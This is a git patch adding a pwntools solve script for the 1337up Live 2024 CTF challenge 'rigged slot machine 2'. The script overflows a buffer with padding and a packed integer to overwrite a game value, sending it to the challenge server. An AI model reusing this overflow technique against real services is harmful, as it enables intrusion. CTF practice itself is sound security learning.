From a92eb896d171b9b1502eeb7d34874bf84afca02b Mon Sep 17 00:00:00 2001 From: jc Date: Wed, 27 Nov 2024 22:23:08 +0300 Subject: [PATCH] solve script --- 1337up_live_2024/rigged_slot_machine_2/a.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 1337up_live_2024/rigged_slot_machine_2/a.py diff --git a/1337up_live_2024/rigged_slot_machine_2/a.py b/1337up_live_2024/rigged_slot_machine_2/a.py new file mode 100644 index 0000000..12029e0 --- /dev/null +++ b/1337up_live_2024/rigged_slot_machine_2/a.py @@ -0,0 +1,18 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./rigged_slot2", checksec=False) +# r = process() +r = remote("riggedslot2.ctf.intigriti.io", 1337) + +# funcs +s = lambda a: r.sendlineafter(b":", a) + +# buf +buf = b"A"*20 +buf += p64(1337421) +s(buf) +s(b"1") + +r.interactive() \ No newline at end of file